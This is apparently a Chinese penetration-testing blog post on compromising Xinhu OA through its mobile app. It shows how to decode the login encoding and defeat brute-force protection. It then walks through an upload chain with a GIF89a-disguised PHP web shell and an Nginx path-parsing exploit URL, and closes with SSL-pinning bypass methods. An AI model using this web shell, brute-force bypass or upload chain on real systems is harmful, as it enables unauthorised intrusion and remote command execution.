从一次信呼OA后台getshell,聊聊APP渗透中那些‘似曾相识’的Web漏洞(附加密绕过思路)

张开发
2026/4/18 13:41:30 15 分钟阅读

分享文章

从一次信呼OA后台getshell,聊聊APP渗透中那些‘似曾相识’的Web漏洞(附加密绕过思路)
移动端渗透测试实战从信呼OA漏洞链看APP与Web的攻防共性第一次在模拟器里运行信呼OA时那个熟悉的登录界面让我恍惚间以为回到了传统Web渗透的场景。直到Burp Suite捕获到带着device1621067038169参数的数据包时才猛然意识到这不过是套着APP外壳的Web系统。移动端渗透的本质从来都不是学习新魔法而是将已有的Web渗透技艺在移动场景中重新演绎。1. 移动端测试环境搭建的三大关键在夜神模拟器安装APK文件时新手常会卡在代理配置环节。不同于浏览器直接设置127.0.0.1的便捷模拟器环境需要特别注意网络拓扑逻辑模拟器网络模式选择推荐使用桥接模式而非NAT模式后者可能导致本机与模拟器不在同一网段。查看模拟器IP的命令adb shell ifconfig | grep inet代理配置的黄金法则主机IP应当填写物理机局域网IP如192.168.1.100Burp监听端口需与模拟器设置完全一致务必关闭系统防火墙或放行对应端口证书安装的隐藏陷阱安卓7.0以上系统不再信任用户安装的CA证书需要将Burp证书移至系统证书目录# 将证书转换为PEM格式后推送到系统目录 openssl x509 -inform der -in cacert.der -out cacert.pem adb push cacert.pem /system/etc/security/cacerts/提示遇到HTTPS流量无法解密时可尝试在Burp的Proxy选项中勾选Support invisible proxying2. 信呼OA登录模块的加密攻防实录当捕获到如下登录请求时看似简单的Base64编码背后藏着开发者的防御心思adminuserYWRtaW4%3A adminpassYWRtaW4%3A2.1 变种Base64的逆向工程通过对比测试发现加密逻辑分三步走原始字符串进行标准Base64编码替换所有为:字符最后进行URL编码解码过程示例Python实现import base64 from urllib.parse import unquote def decode_custom(encoded_str): decoded unquote(encoded_str).replace(:, ) return base64.b64decode(decoded).decode() print(decode_custom(YWRtaW4%3A)) # 输出admin2.2 设备ID防爆破机制的绕过系统通过device参数实现爆破防护的机制颇具代表性防护机制绕过方法验证方式设备指纹检测每次请求随机生成13位时间戳观察返回包中的retry_count字段IP频率限制配合代理池轮换检查HTTP头中的X-Forwarded-For会话关联验证清除Cookie重新建立会话对比带Cookie与不带Cookie的响应差异实战中通过Burp的Intruder模块只需在Payloads选项卡中设置device参数使用Numbers类型生成13位随机数adminuser使用自定义字典配合上述Base64变种编码3. 从后台到getshell的完整攻击链获取管理员权限后真正的挑战才刚刚开始。信呼OA的文件上传功能暴露了典型的多层防御缺陷前端验证绕过修改HTTP请求的Content-Type为image/jpegPOST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenameshell.jpg Content-Type: image/jpeg服务端检测突破使用GIF89a文件头混淆echo GIF89a?php system($_GET[cmd]); ? shell.php.gif解析漏洞利用当目标服务器配置了cgi.fix_pathinfo1时触发Nginx解析漏洞http://target.com/uploads/shell.php.gif/.php4. 移动端渗透的差异化思维虽然技术本质相同但APP测试仍有其特殊关注点敏感参数隐藏APP可能通过以下方式暴露关键信息客户端硬编码密钥反编译APK查找本地存储的配置文件/data/data目录非标准通信端口扫描开放端口服务协议封装层部分APP会使用自定义协议封装HTTP请求表现为请求体为二进制格式存在固定的魔术字节如0xAABBCCDD响应包带自定义状态码证书绑定SSL Pinning突破方案包括使用Frida脚本绕过证书验证修改APK的Network Security Config在root设备上安装JustTrustMe模块在最近一次金融APP测试中正是通过hook密钥生成函数发现了其与Web端共用同一套加密逻辑的致命缺陷。这再次验证了移动端渗透的本质——不过是Web战场的延伸。

更多文章